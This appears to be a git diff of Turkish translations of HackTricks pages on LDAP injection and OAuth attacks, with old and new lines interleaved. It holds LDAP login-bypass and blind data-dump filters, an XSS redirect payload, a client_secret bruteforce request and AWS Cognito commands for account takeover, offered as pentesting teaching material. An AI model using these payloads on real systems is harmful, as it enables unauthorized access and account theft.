**Filter** = ( filtercomp )\
|
||||
**Filtercomp** = and / or / not / item\
|
||||
**And** = & filterlist\
|
||||
**Or** = |filterlist\
|
||||
**Not** = ! filter\
|
||||
**Filterlist** = 1\*filter\
|
||||
**Item**= simple / present / substring\
|
||||
**Simple** = attr filtertype assertionvalue\
|
||||
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
|
||||
**Present** = attr = \*\
|
||||
**Substring** = attr ”=” \[initial] \* \[final]\
|
||||
**Initial** = assertionvalue\
|
||||
**Final** = assertionvalue\
|
||||
&#xNAN;**(&)** = Absolute TRUE\
|
||||
&#xNAN;**(|)** = Absolute FALSE
|
||||
**Filtre** = ( filtercomp )\
|
||||
**Filtrecomp** = ve / veya / değil / öğe\
|
||||
**Ve** = & filtrelist\
|
||||
**Veya** = |filtrelist\
|
||||
**Değil** = ! filtre\
|
||||
**Filtrelist** = 1\*filtre\
|
||||
**Öğe**= basit / mevcut / alt dize\
|
||||
**Basit** = attr filtretipi assertionvalue\
|
||||
**Filtretipi** = _'=' / '\~=' / '>=' / '<='_\
|
||||
**Mevcut** = attr = \*\
|
||||
**Alt dize** = attr ”=” \[ilk] \* \[son]\
|
||||
**İlk** = assertionvalue\
|
||||
**Son** = assertionvalue\
|
||||
&#xNAN;**(&)** = Kesin DOĞRU\
|
||||
&#xNAN;**(|)** = Kesin YANLIŞ
|
||||
|
||||
Örneğin:\
|
||||
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
||||
@ -44,7 +44,7 @@ Veritabanına erişebilirsiniz ve bu, birçok farklı türde bilgi içerebilir.
|
||||
**ADAM veya Microsoft LDS**: 2 filtre ile bir hata fırlatır.\
|
||||
**SunOne Directory Server 5.0**: Her iki filtreyi de çalıştırır.
|
||||
|
||||
**Filtrenin doğru sözdizimi ile gönderilmesi çok önemlidir, aksi takdirde bir hata fırlatılacaktır. Sadece 1 filtre göndermek daha iyidir.**
|
||||
**Filtreyi doğru sözdizimi ile göndermek çok önemlidir, aksi takdirde bir hata fırlatılacaktır. Sadece 1 filtre göndermek daha iyidir.**
|
||||
|
||||
Filtre `&` veya `|` ile başlamalıdır.\
|
||||
Örnek: `(&(directory=val1)(folder=public))`
|
||||
@ -54,9 +54,9 @@ Filtre `&` veya `|` ile başlamalıdır.\
|
||||
|
||||
Sonra: `(&(objectClass=`**`*)(ObjectClass=*))`** ilk filtre (çalıştırılan) olacaktır.
|
||||
|
||||
### Login Bypass
|
||||
### Giriş Atlatma
|
||||
|
||||
LDAP, şifreyi saklamak için birkaç formatı destekler: clear, md5, smd5, sh1, sha, crypt. Yani, şifreye ne koyarsanız koyun, hashlenmiş olabilir.
|
||||
LDAP, şifreyi saklamak için birkaç formatı destekler: açık, md5, smd5, sh1, sha, crypt. Yani, şifreye ne eklerseniz ekleyin, hashlenmiş olabilir.
|
||||
```bash
|
||||
user=*
|
||||
password=*
|
||||
@ -133,7 +133,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
|
||||
```
|
||||
#### Dump verileri
|
||||
|
||||
Ascii harfleri, rakamları ve sembolleri üzerinde döngü yapabilirsiniz:
|
||||
Ascii harfleri, rakamlar ve semboller üzerinde döngü yapabilirsiniz:
|
||||
```bash
|
||||
(&(sn=administrator)(password=*)) : OK
|
||||
(&(sn=administrator)(password=A*)) : KO
|
||||
@ -203,7 +203,8 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
||||
```
|
||||
### Daha Fazla Payload
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,17 +2,16 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Temel Bilgiler <a href="#d4a8" id="d4a8"></a>
|
||||
|
||||
OAuth, temel bilgilerin erişilebilir olduğu çeşitli sürümler sunar; [OAuth 2.0 belgeleri](https://oauth.net/2/) bu konuda bilgi sağlar. Bu tartışma, yaygın olarak kullanılan [OAuth 2.0 yetkilendirme kodu yetki türü](https://oauth.net/2/grant-types/authorization-code/) etrafında döner ve **bir uygulamanın başka bir uygulamadaki bir kullanıcının hesabına erişim sağlamasına veya eylemler gerçekleştirmesine olanak tanıyan bir yetkilendirme çerçevesi** sunar (yetkilendirme sunucusu).
|
||||
OAuth, temel bilgilerin erişilebilir olduğu çeşitli sürümler sunar; [OAuth 2.0 belgeleri](https://oauth.net/2/) bu konuda bilgi sağlar. Bu tartışma, yaygın olarak kullanılan [OAuth 2.0 yetkilendirme kodu yetki türü](https://oauth.net/2/grant-types/authorization-code/) etrafında dönmektedir ve **bir uygulamanın başka bir uygulamadaki bir kullanıcının hesabına erişmesini veya eylem gerçekleştirmesini sağlayan bir yetkilendirme çerçevesi** sunar (yetkilendirme sunucusu).
|
||||
|
||||
Hayali bir web sitesi _**https://example.com**_ düşünün; bu site, **tüm sosyal medya paylaşımlarınızı**, özel olanlar da dahil, **sergilemek** için tasarlanmıştır. Bunu başarmak için OAuth 2.0 kullanılır. _https://example.com_, **sosyal medya paylaşımlarınıza erişim** izni talep edecektir. Sonuç olarak, _https://socialmedia.com_ üzerinde, **talep edilen izinler ve talebi yapan geliştirici** hakkında bilgi veren bir onay ekranı belirecektir. Onayınızla, _https://example.com_, **sizin adınıza paylaşımlarınıza erişim** yetkisi kazanır.
|
||||
Hayali bir web sitesi _**https://example.com**_ düşünün; bu site, **tüm sosyal medya paylaşımlarınızı**, özel olanlar da dahil, **sergilemek** için tasarlanmıştır. Bunu başarmak için OAuth 2.0 kullanılmaktadır. _https://example.com_, **sosyal medya paylaşımlarınıza erişim** izni talep edecektir. Sonuç olarak, _https://socialmedia.com_ üzerinde, **talep edilen izinler ve talebi yapan geliştirici** hakkında bilgi veren bir onay ekranı belirecektir. Onayınızla, _https://example.com_, **sizin adınıza paylaşımlarınıza erişim** yetkisi kazanır.
|
||||
|
||||
OAuth 2.0 çerçevesindeki aşağıdaki bileşenleri anlamak önemlidir:
|
||||
|
||||
- **resource owner**: Siz, **kullanıcı/varlık** olarak, sosyal medya hesabınızdaki paylaşımlar gibi kaynaklarınıza erişim izni verirsiniz.
|
||||
- **resource server**: Uygulamanın `resource owner` adına bir `access token` güvence altına aldıktan sonra **kimlik doğrulama isteklerini yöneten sunucu**, örneğin, **https://socialmedia.com**.
|
||||
- **resource server**: Uygulama, `resource owner` adına bir `access token` aldıktan sonra **kimlik doğrulama isteklerini yöneten sunucu**, örneğin, **https://socialmedia.com**.
|
||||
- **client application**: `resource owner`dan yetkilendirme talep eden **uygulama**, örneğin **https://example.com**.
|
||||
- **authorization server**: `resource owner`ın başarılı bir şekilde kimlik doğrulamasını yaptıktan sonra `client application`a `access tokens` veren **sunucu**, örneğin, **https://socialmedia.com**.
|
||||
- **client_id**: Uygulama için kamuya açık, benzersiz bir tanımlayıcı.
|
||||
@ -51,31 +50,31 @@ POST /oauth/access_token
|
||||
Host: socialmedia.com
|
||||
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
|
||||
```
|
||||
6. Son olarak, süreç https://example.com `access_token`'ınızı kullanarak Sosyal Medya'ya API çağrısı yaparak sonuçlanır.
|
||||
6. Son olarak, süreç https://example.com `access_token`'ınızı kullanarak Sosyal Medya'ya API çağrısı yaparak sona erer.
|
||||
|
||||
## Güvenlik Açıkları <a href="#id-323a" id="id-323a"></a>
|
||||
|
||||
### Açık redirect_uri <a href="#cc36" id="cc36"></a>
|
||||
|
||||
`redirect_uri`, OAuth ve OpenID uygulamalarında güvenlik için kritik öneme sahiptir, çünkü yetkilendirme sonrası hassas verilerin, yetkilendirme kodları gibi, nereye gönderileceğini yönlendirir. Yanlış yapılandırıldığında, saldırganların bu istekleri kötü niyetli sunuculara yönlendirmesine izin verebilir ve hesap ele geçirme olanağı tanır.
|
||||
`redirect_uri`, OAuth ve OpenID uygulamalarında güvenlik için kritik öneme sahiptir, çünkü yetkilendirme kodları gibi hassas verilerin yetkilendirme sonrası nereye gönderileceğini yönlendirir. Yanlış yapılandırıldığında, saldırganların bu istekleri kötü niyetli sunuculara yönlendirmesine izin verebilir ve hesap ele geçirme olanağı tanır.
|
||||
|
||||
Sömürü teknikleri, yetkilendirme sunucusunun doğrulama mantığına bağlı olarak değişir. Katı yol eşleşmesinden, belirtilen alan veya alt dizin içindeki herhangi bir URL'yi kabul etmeye kadar uzanabilir. Yaygın sömürü yöntemleri arasında açık yönlendirmeler, yol geçişi, zayıf regexlerin istismarı ve token hırsızlığı için HTML enjeksiyonu bulunmaktadır.
|
||||
Sömürü teknikleri, yetkilendirme sunucusunun doğrulama mantığına bağlı olarak değişir. Katı yol eşleşmesinden, belirtilen alan veya alt dizin içindeki herhangi bir URL'yi kabul etmeye kadar değişebilir. Yaygın sömürü yöntemleri arasında açık yönlendirmeler, yol geçişi, zayıf regex'lerin sömürülmesi ve token hırsızlığı için HTML enjeksiyonu bulunmaktadır.
|
||||
|
||||
`redirect_uri` dışında, `client_uri`, `policy_uri`, `tos_uri` ve `initiate_login_uri` gibi diğer OAuth ve OpenID parametreleri de yönlendirme saldırılarına karşı hassastır. Bu parametreler isteğe bağlıdır ve destekleri sunucular arasında değişiklik gösterir.
|
||||
|
||||
OpenID sunucusunu hedef alanlar için, keşif uç noktası (`**.well-known/openid-configuration**`) genellikle `registration_endpoint`, `request_uri_parameter_supported` ve "`require_request_uri_registration`" gibi değerli yapılandırma ayrıntılarını listeler. Bu ayrıntılar, kayıt uç noktasını ve sunucunun diğer yapılandırma özelliklerini tanımlamaya yardımcı olabilir.
|
||||
OpenID sunucusunu hedef alanlar için, keşif uç noktası (`**.well-known/openid-configuration**`) genellikle `registration_endpoint`, `request_uri_parameter_supported` ve "`require_request_uri_registration`" gibi değerli yapılandırma ayrıntılarını listeler. Bu ayrıntılar, kayıt uç noktasını ve sunucunun diğer yapılandırma özelliklerini belirlemede yardımcı olabilir.
|
||||
|
||||
### Yönlendirme uygulamasında XSS <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Bu hata ödülü raporunda belirtildiği gibi [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), yönlendirme **URL'sinin, kullanıcı kimlik doğruladıktan sonra sunucunun yanıtında yansıtılması** mümkün olabilir ve bu durum **XSS'ye karşı savunmasızdır**. Test etmek için olası yük:
|
||||
Bu hata ödülü raporunda belirtildiği gibi [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) yönlendirme **URL'sinin, kullanıcı kimlik doğruladıktan sonra sunucunun yanıtında yansıtılması** mümkün olabilir ve bu durum **XSS'ye karşı savunmasızdır**. Test etmek için olası yük:
|
||||
```
|
||||
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
|
||||
```
|
||||
### CSRF - Durum parametresinin yanlış yönetimi <a href="#bda5" id="bda5"></a>
|
||||
### CSRF - State parametresinin yanlış yönetimi <a href="#bda5" id="bda5"></a>
|
||||
|
||||
OAuth uygulamalarında, **`state` parametresinin** kötüye kullanımı veya atlanması, **Cross-Site Request Forgery (CSRF)** saldırılarının riskini önemli ölçüde artırabilir. Bu zafiyet, `state` parametresinin **kullanılmaması, statik bir değer olarak kullanılması veya düzgün bir şekilde doğrulanmaması** durumunda ortaya çıkar ve saldırganların CSRF korumalarını aşmasına olanak tanır.
|
||||
OAuth uygulamalarında, **`state` parametresinin** kötüye kullanımı veya atlanması, **Cross-Site Request Forgery (CSRF)** saldırılarının riskini önemli ölçüde artırabilir. Bu zafiyet, `state` parametresinin **kullanılmaması, statik bir değer olarak kullanılması veya düzgün bir şekilde doğrulanmaması** durumunda ortaya çıkar ve saldırganların CSRF korumalarını atlamasına olanak tanır.
|
||||
|
||||
Saldırganlar, yetkilendirme sürecini keserek kendi hesaplarını bir mağdurun hesabıyla ilişkilendirebilir, bu da potansiyel **hesap ele geçirmelerine** yol açar. Bu, OAuth'un **kimlik doğrulama amaçları** için kullanıldığı uygulamalarda özellikle kritik öneme sahiptir.
|
||||
Saldırganlar, yetkilendirme sürecini keserek kendi hesaplarını bir mağdurun hesabıyla ilişkilendirmek için bunu istismar edebilir, bu da potansiyel **hesap ele geçirmelerine** yol açar. Bu, OAuth'un **kimlik doğrulama amaçları** için kullanıldığı uygulamalarda özellikle kritik öneme sahiptir.
|
||||
|
||||
Bu zafiyetin gerçek dünya örnekleri, çeşitli **CTF yarışmaları** ve **hackleme platformları** üzerinde belgelenmiştir ve pratik etkilerini vurgulamaktadır. Sorun, **Slack**, **Stripe** ve **PayPal** gibi üçüncü taraf hizmetlerle entegrasyonlara da uzanmakta, burada saldırganlar bildirimleri veya ödemeleri kendi hesaplarına yönlendirebilmektedir.
|
||||
|
||||
@ -84,18 +83,18 @@ Bu zafiyetin gerçek dünya örnekleri, çeşitli **CTF yarışmaları** ve **ha
|
||||
### Hesap Ele Geçirmeden Önce <a href="#ebe4" id="ebe4"></a>
|
||||
|
||||
1. **Hesap Oluşturma sırasında E-posta Doğrulaması Olmadan**: Saldırganlar, mağdurun e-posta adresini kullanarak önceden bir hesap oluşturabilir. Eğer mağdur daha sonra bir üçüncü taraf hizmeti ile giriş yaparsa, uygulama bu üçüncü taraf hesabını saldırganın önceden oluşturduğu hesapla yanlışlıkla ilişkilendirebilir ve yetkisiz erişime yol açabilir.
|
||||
2. **Gevşek OAuth E-posta Doğrulamasını Kötüye Kullanma**: Saldırganlar, e-postaları doğrulamayan OAuth hizmetlerini kötüye kullanarak kendi hizmetleriyle kaydolabilir ve ardından hesap e-posta adresini mağdurunki ile değiştirebilir. Bu yöntem, ilk senaryoya benzer şekilde yetkisiz hesap erişimi riski taşır, ancak farklı bir saldırı vektörü aracılığıyla gerçekleşir.
|
||||
2. **Gevşek OAuth E-posta Doğrulamasını İstismar Etme**: Saldırganlar, e-postaları doğrulamayan OAuth hizmetlerini istismar edebilir; kendi hizmetleriyle kaydolup ardından hesap e-posta adresini mağdurunki ile değiştirebilirler. Bu yöntem, ilk senaryoya benzer şekilde yetkisiz hesap erişimi riski taşır, ancak farklı bir saldırı vektörü aracılığıyla.
|
||||
|
||||
### Gizli Bilgilerin Açığa Çıkması <a href="#e177" id="e177"></a>
|
||||
|
||||
Gizli OAuth parametrelerini tanımlamak ve korumak çok önemlidir. **`client_id`** güvenle ifşa edilebilirken, **`client_secret`** ifşası önemli riskler taşır. Eğer `client_secret` ele geçirilirse, saldırganlar uygulamanın kimliğini ve güvenini kötüye kullanarak **kullanıcı `access_tokens`** ve özel bilgileri çalabilir.
|
||||
Gizli OAuth parametrelerini tanımlamak ve korumak çok önemlidir. **`client_id`** güvenle ifşa edilebilirken, **`client_secret`** ifşası önemli riskler taşır. Eğer `client_secret` ele geçirilirse, saldırganlar uygulamanın kimliğini ve güvenini istismar ederek **kullanıcı `access_tokens`** ve özel bilgileri çalabilirler.
|
||||
|
||||
Uygulamaların yetkilendirme `code`'unu istemci tarafında değil, sunucu tarafında `access_token` ile değiştirmesi durumunda yaygın bir zafiyet ortaya çıkar. Bu hata, `client_secret`'in açığa çıkmasına neden olur ve saldırganların uygulamanın kılığına girerek `access_tokens` oluşturmasına olanak tanır. Ayrıca, sosyal mühendislik yoluyla, saldırganlar OAuth yetkilendirmesine ek kapsamlar ekleyerek ayrıcalıkları artırabilir ve uygulamanın güvenilir durumunu daha da kötüye kullanabilir.
|
||||
Uygulamaların yetkilendirme `code`'unu `access_token` ile istemci tarafında değil, sunucu tarafında yanlışlıkla yönetmesi durumunda yaygın bir zafiyet ortaya çıkar. Bu hata, `client_secret`'in açığa çıkmasına yol açar ve saldırganların uygulamanın kimliğini kullanarak `access_tokens` oluşturmasına olanak tanır. Ayrıca, sosyal mühendislik yoluyla, saldırganlar OAuth yetkilendirmesine ek kapsamlar ekleyerek ayrıcalıkları artırabilir ve uygulamanın güvenilir durumunu daha da istismar edebilir.
|
||||
|
||||
### İstemci Sırrı Kaba Kuvvet
|
||||
### Client Secret Bruteforce
|
||||
|
||||
Bir hizmet sağlayıcının istemci_sırrını çalmak için kimlik sağlayıcı ile **kaba kuvvet denemesi** yapmayı deneyebilirsiniz.\
|
||||
Kaba kuvvet isteği şu şekilde görünebilir:
|
||||
Bir hizmet sağlayıcının client_secret'ını çalmak için kimlik sağlayıcı ile **bruteforce** yapmayı deneyebilirsiniz.\
|
||||
BF isteği şu şekilde görünebilir:
|
||||
```
|
||||
POST /token HTTP/1.1
|
||||
content-type: application/x-www-form-urlencoded
|
||||
@ -105,11 +104,11 @@ Connection: close
|
||||
|
||||
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
|
||||
```
|
||||
### Referer Header sızdıran Kod + State
|
||||
### Referer Header sızdıran Kod + Durum
|
||||
|
||||
Müşteri **kod ve state**'e sahip olduğunda, eğer bu **Referer header'ında yansıyorsa** ve farklı bir sayfaya gittiğinde, o zaman savunmasızdır.
|
||||
Müşteri **kod ve durumu** aldıktan sonra, eğer bu **Referer başlığında yansıtılıyorsa** ve farklı bir sayfaya göz atıyorsa, o zaman savunmasızdır.
|
||||
|
||||
### Tarayıcı Geçmişinde Saklanan Erişim Token'ı
|
||||
### Erişim Token'ı Tarayıcı Geçmişinde Saklanıyor
|
||||
|
||||
**Tarayıcı geçmişine gidin ve erişim token'ının orada kaydedilip kaydedilmediğini kontrol edin**.
|
||||
|
||||
@ -121,13 +120,13 @@ Müşteri **kod ve state**'e sahip olduğunda, eğer bu **Referer header'ında y
|
||||
|
||||
Eğer **yetkilendirme kodunu alabilir ve bunu farklı bir istemci ile kullanabilirseniz, o zaman diğer hesapları ele geçirebilirsiniz**.
|
||||
|
||||
### Mutlu Yollar, XSS, Iframe'ler ve Kod & State değerlerini sızdırmak için Post Mesajları
|
||||
### Mutlu Yollar, XSS, Iframe'ler ve Kod & Durum değerlerini sızdırmak için Post Mesajları
|
||||
|
||||
[**Bu gönderiyi kontrol edin**](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)
|
||||
|
||||
### AWS Cognito <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Bu hata ödül raporunda: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) **AWS Cognito**'nun kullanıcıya geri verdiği **token**'ın **kullanıcı verilerini üzerine yazmak için yeterli izinlere sahip olabileceğini** görebilirsiniz. Bu nedenle, eğer **bir kullanıcı e-posta adresini farklı bir kullanıcı e-posta adresi ile değiştirebilirseniz**, diğer hesapları **ele geçirebilirsiniz**.
|
||||
Bu hata ödül raporunda: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) **AWS Cognito** tarafından kullanıcıya geri verilen **token'ın** **kullanıcı verilerini üzerine yazmak için yeterli izinlere sahip olabileceğini** görebilirsiniz. Bu nedenle, eğer **bir kullanıcı e-posta adresini farklı bir kullanıcı e-posta adresi ile değiştirebilirseniz**, diğer hesapları **ele geçirebilirsiniz**.
|
||||
```bash
|
||||
# Read info of the user
|
||||
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
|
||||
@ -144,32 +143,34 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
|
||||
]
|
||||
}
|
||||
```
|
||||
AWS cognito'yu nasıl kötüye kullanacağınız hakkında daha ayrıntılı bilgi için kontrol edin:
|
||||
Daha fazla bilgi için AWS cognito'yu nasıl kötüye kullanacağınızı kontrol edin:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum
|
||||
{{#endref}}
|
||||
|
||||
### Diğer Uygulama token'larını Kötüye Kullanma <a href="#bda5" id="bda5"></a>
|
||||
|
||||
[**bu yazıda bahsedildiği gibi**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), **token** (ve kod değil) almayı bekleyen OAuth akışları, token'ın uygulamaya ait olduğunu kontrol etmedikleri takdirde savunmasız olabilir.
|
||||
[**Bu yazıda bahsedildiği gibi**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), **token** (ve kod değil) almayı bekleyen OAuth akışları, token'ın uygulamaya ait olduğunu kontrol etmedikleri takdirde savunmasız olabilir.
|
||||
|
||||
Bu, bir **saldırganın** kendi uygulamasında **OAuth destekleyen ve Facebook ile giriş yapan bir uygulama** oluşturabileceği anlamına gelir. Daha sonra, bir kurban Facebook ile **saldırganın uygulamasında** giriş yaptığında, saldırgan **kullanıcının uygulamasına verilen OAuth token'ını alabilir ve bunu kurbanın OAuth uygulamasında kurbanın kullanıcı token'ı ile giriş yapmak için kullanabilir**.
|
||||
Bu, bir **saldırganın** kendi uygulamasında **OAuth destekleyen ve Facebook ile giriş yapan bir uygulama** oluşturabileceği anlamına gelir. Daha sonra, bir kurban **saldırganın uygulamasında** Facebook ile giriş yaptığında, saldırgan **kullanıcının uygulamasına verilen OAuth token'ını alabilir ve bunu kurbanın OAuth uygulamasında kurbanın kullanıcı token'ı ile giriş yapmak için kullanabilir**.
|
||||
|
||||
> [!CAUTION]
|
||||
> [!DİKKAT]
|
||||
> Bu nedenle, eğer saldırgan kullanıcıyı kendi OAuth uygulamasına eriştirmeyi başarırsa, token bekleyen ve token'ın kendi uygulama kimliğine verilip verilmediğini kontrol etmeyen uygulamalarda kurbanın hesabını ele geçirebilir.
|
||||
|
||||
### İki Bağlantı ve Çerez <a href="#bda5" id="bda5"></a>
|
||||
### İki Bağlantı & Çerez <a href="#bda5" id="bda5"></a>
|
||||
|
||||
[**bu yazıya göre**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), bir kurbanın saldırganın ana bilgisayarına işaret eden bir **returnUrl** ile bir sayfa açmasını sağlamak mümkündü. Bu bilgi **bir çerezde (RU)** saklanacak ve **sonraki adımda** **istem** kullanıcının o saldırganın ana bilgisayarına erişim vermek isteyip istemediğini **soracaktır**.
|
||||
[**Bu yazıya göre**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), bir kurbanın saldırganın ana bilgisayarına işaret eden bir **returnUrl** ile bir sayfa açması sağlanabiliyordu. Bu bilgi **bir çerezde (RU)** saklanacak ve **sonraki adımda** **istem** **kullanıcıya** o saldırganın ana bilgisayarına erişim vermek isteyip istemediğini **soracaktır**.
|
||||
|
||||
Bu istemi atlatmak için, **returnUrl** kullanarak bu RU çerezini ayarlayacak şekilde **Oauth akışını** başlatmak için bir sekme açmak, istem gösterilmeden önce sekmeyi kapatmak ve o değeri içermeyen yeni bir sekme açmak mümkündü. Böylece, **istem saldırganın ana bilgisayarından bahsetmeyecek**, ancak çerez ona ayarlanacak, bu nedenle **token saldırganın ana bilgisayarına** yönlendirme sırasında gönderilecektir.
|
||||
Bu istemi atlatmak için, **returnUrl** kullanarak bu RU çerezini ayarlayacak şekilde **Oauth akışını** başlatmak için bir sekme açmak, istem gösterilmeden önce sekmeyi kapatmak ve o değeri içermeyen yeni bir sekme açmak mümkündü. Böylece, **istem saldırganın ana bilgisayarını bildirmeyecek**, ancak çerez ona ayarlanacak, bu nedenle **token saldırganın ana bilgisayarına** yönlendirme sırasında gönderilecektir.
|
||||
|
||||
### İstem Etkileşimi Atlatma <a href="#bda5" id="bda5"></a>
|
||||
|
||||
[**bu videoda açıklandığı gibi**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), bazı OAuth uygulamaları, kullanıcıların platformda zaten giriş yapmışlarsa webde verilen erişimi onaylamaları için **`prompt`** GET parametresini None (**`&prompt=none`**) olarak belirtmelerine izin verir.
|
||||
[**Bu videoda açıklandığı gibi**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), bazı OAuth uygulamaları, kullanıcıların platformda zaten giriş yapmışlarsa webdeki bir istemde verilen erişimi onaylamaları için **`prompt`** GET parametresini None (**`&prompt=none`**) olarak belirtmelerine izin verir.
|
||||
|
||||
### response_mode
|
||||
|
||||
[**bu videoda açıklandığı gibi**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), **`response_mode`** parametresini, kodun son URL'de nerede sağlanmasını istediğinizi belirtmek için kullanmak mümkün olabilir:
|
||||
[**Bu videoda açıklandığı gibi**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), kodun son URL'de nerede sağlanacağını belirtmek için **`response_mode`** parametresini belirtmek mümkün olabilir:
|
||||
|
||||
- `response_mode=query` -> Kod bir GET parametresi içinde sağlanır: `?code=2397rf3gu93f`
|
||||
- `response_mode=fragment` -> Kod URL parçası parametresi içinde sağlanır `#code=2397rf3gu93f`
|
||||
@ -178,26 +179,26 @@ Bu istemi atlatmak için, **returnUrl** kullanarak bu RU çerezini ayarlayacak
|
||||
|
||||
### OAuth ROPC akışı - 2 FA atlatma <a href="#b440" id="b440"></a>
|
||||
|
||||
[**bu blog yazısına göre**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), bu, OAuth üzerinden **kullanıcı adı** ve **şifre** ile giriş yapmayı sağlayan bir OAuth akışıdır. Bu basit akış sırasında, kullanıcının gerçekleştirebileceği tüm eylemlere erişim sağlayan bir **token** dönerse, bu token kullanılarak 2FA atlatmak mümkündür.
|
||||
[**Bu blog yazısına göre**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), bu, OAuth üzerinden **kullanıcı adı** ve **şifre** ile giriş yapmayı sağlayan bir OAuth akışıdır. Bu basit akış sırasında, kullanıcının gerçekleştirebileceği tüm eylemlere erişim sağlayan bir **token** dönerse, bu token kullanılarak 2FA atlatılabilir.
|
||||
|
||||
### Açık yönlendirmeye dayalı web sayfasında ATO <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Bu [**blog yazısı**](https://blog.voorivex.team/oauth-non-happy-path-to-ato), bir **açık yönlendirmeyi** referans değerinden yararlanarak OAuth'u ATO için nasıl kötüye kullanabileceğini yorumlamaktadır. Saldırı şu şekildedir:
|
||||
Bu [**blog yazısı**](https://blog.voorivex.team/oauth-non-happy-path-to-ato), bir **açık yönlendirmeyi** referans değerinden yararlanarak OAuth'u ATO için nasıl kötüye kullanmanın mümkün olduğunu yorumlamaktadır. Saldırı şu şekildedir:
|
||||
|
||||
1. Kurban saldırganın web sayfasına erişir
|
||||
2. Kurban kötü niyetli bağlantıyı açar ve bir açıcı, **saldırganın web sitesi** referansını kullanarak `response_type=id_token,code&prompt=none` ek parametreleri ile Google OAuth akışını başlatır.
|
||||
3. Açıcıda, sağlayıcı kurbanı yetkilendirdikten sonra, onları `redirect_uri` parametresinin değerine (kurban web) 30X kodu ile geri gönderir ve bu hala saldırganın web sitesini referans olarak tutar.
|
||||
3. Açıcı, sağlayıcı kurbanı yetkilendirdikten sonra, onları `redirect_uri` parametresinin değerine (kurban web) 30X kodu ile geri gönderir ve bu hala saldırganın web sitesini referans olarak tutar.
|
||||
4. Kurban **web sitesi, referansa dayalı açık yönlendirmeyi tetikler** ve kurban kullanıcıyı saldırganın web sitesine yönlendirir, çünkü **`respose_type`** **`id_token,code`** olduğundan, kod saldırgana **URL'nin parçasında** geri gönderilecektir, bu da onun kurbanın sitesinde Google aracılığıyla kullanıcının hesabını ele geçirmesine olanak tanır.
|
||||
|
||||
### SSRF'lerin parametreleri <a href="#bda5" id="bda5"></a>
|
||||
|
||||
[**Bu araştırmayı kontrol edin**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Bu tekniğin daha fazla ayrıntısı için.**
|
||||
|
||||
OAuth'taki Dinamik İstemci Kaydı, güvenlik açıkları için daha az belirgin ama kritik bir vektör olarak hizmet eder, özellikle **Sunucu Tarafı İstek Sahteciliği (SSRF)** saldırıları için. Bu uç nokta, OAuth sunucularının istemci uygulamaları hakkında, kötüye kullanılabilecek hassas URL'ler de dahil olmak üzere ayrıntılar almasına olanak tanır.
|
||||
OAuth'taki Dinamik İstemci Kaydı, güvenlik açıkları için daha az belirgin ama kritik bir vektör olarak, özellikle **Sunucu Tarafı İstek Sahteciliği (SSRF)** saldırıları için hizmet eder. Bu uç nokta, OAuth sunucularının istemci uygulamaları hakkında, kötüye kullanılabilecek hassas URL'ler de dahil olmak üzere ayrıntılar almasına olanak tanır.
|
||||
|
||||
**Ana Noktalar:**
|
||||
|
||||
- **Dinamik İstemci Kaydı**, genellikle `/register` ile eşleştirilir ve `client_name`, `client_secret`, `redirect_uris` ve POST istekleri aracılığıyla logolar veya JSON Web Key Sets (JWK'ler) için URL'ler gibi ayrıntıları kabul eder.
|
||||
- **Dinamik İstemci Kaydı**, genellikle `/register` ile eşleştirilir ve `client_name`, `client_secret`, `redirect_uris` ve POST istekleri aracılığıyla logolar veya JSON Web Key Set'leri (JWK'ler) için URL'ler gibi ayrıntıları kabul eder.
|
||||
